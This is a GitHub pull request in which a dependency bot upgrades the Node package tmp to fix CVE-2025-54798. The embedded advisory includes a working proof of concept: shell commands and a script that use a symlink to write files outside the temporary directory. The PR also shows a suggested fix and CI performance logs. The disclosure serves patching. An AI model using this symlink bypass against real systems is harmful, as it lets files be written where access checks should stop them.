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@renovate renovate bot commented Aug 6, 2025

This PR contains the following updates:

Package Change Age Confidence
tmp 0.2.3 -> 0.2.4 age confidence

GitHub Vulnerability Alerts

CVE-2025-54798

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it
mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
  • check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
  • run the poc
node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
  • the temporary file is created under $HOME/mydir1 (outside the tmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]
  • main.js
// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink


Release Notes

raszi/node-tmp (tmp)

v0.2.4

Compare Source


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@renovate renovate bot added the dependencies Pull requests that update a dependency label Aug 6, 2025
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github-actions bot commented Aug 6, 2025

🚀 Performance Test Results

Test Configuration:

  • VUs: 4
  • Duration: 1m0s

Test Metrics:

  • Requests/s: 39.72
  • Iterations/s: 13.26
  • Failed Requests: 0.00% (0 of 2391)
📜 Logs

> performance@1.0.0 run-tests:testenv /home/runner/work/rafiki/rafiki/test/performance
> ./scripts/run-tests.sh -e test "-k" "-q" "--vus" "4" "--duration" "1m"

Cloud Nine GraphQL API is up: http://localhost:3101/graphql
Cloud Nine Wallet Address is up: http://localhost:3100/
Happy Life Bank Address is up: http://localhost:4100/
cloud-nine-wallet-test-backend already set
cloud-nine-wallet-test-auth already set
happy-life-bank-test-backend already set
happy-life-bank-test-auth already set
     data_received..................: 863 kB 14 kB/s
     data_sent......................: 1.8 MB 31 kB/s
     http_req_blocked...............: avg=6.82µs   min=2.18µs   med=5.37µs   max=447.65µs p(90)=6.55µs   p(95)=7.13µs  
     http_req_connecting............: avg=421ns    min=0s       med=0s       max=341.52µs p(90)=0s       p(95)=0s      
     http_req_duration..............: avg=100.03ms min=6.9ms    med=79.3ms   max=949.33ms p(90)=173.33ms p(95)=193.67ms
       { expected_response:true }...: avg=100.03ms min=6.9ms    med=79.3ms   max=949.33ms p(90)=173.33ms p(95)=193.67ms
     http_req_failed................: 0.00%  ✓ 0         ✗ 2391
     http_req_receiving.............: avg=91.65µs  min=30.83µs  med=78.77µs  max=2.37ms   p(90)=115.34µs p(95)=140.49µs
     http_req_sending...............: avg=36.12µs  min=9.95µs   med=28.22µs  max=1.92ms   p(90)=41.7µs   p(95)=57.66µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=99.91ms  min=6.79ms   med=79.17ms  max=949.17ms p(90)=173.25ms p(95)=193.58ms
     http_reqs......................: 2391   39.722208/s
     iteration_duration.............: avg=301.37ms min=186.89ms med=283.93ms max=1.17s    p(90)=353.84ms p(95)=406.67ms
     iterations.....................: 798    13.257349/s
     vus............................: 4      min=4       max=4 
     vus_max........................: 4      min=4       max=4 

@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch 3 times, most recently from 7646fc6 to 6b96d85 Compare August 13, 2025 16:49
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@renovate renovate bot force-pushed the renovate-npm-tmp-vulnerability branch from 1dc11bc to 8b81ae3 Compare November 10, 2025 17:16
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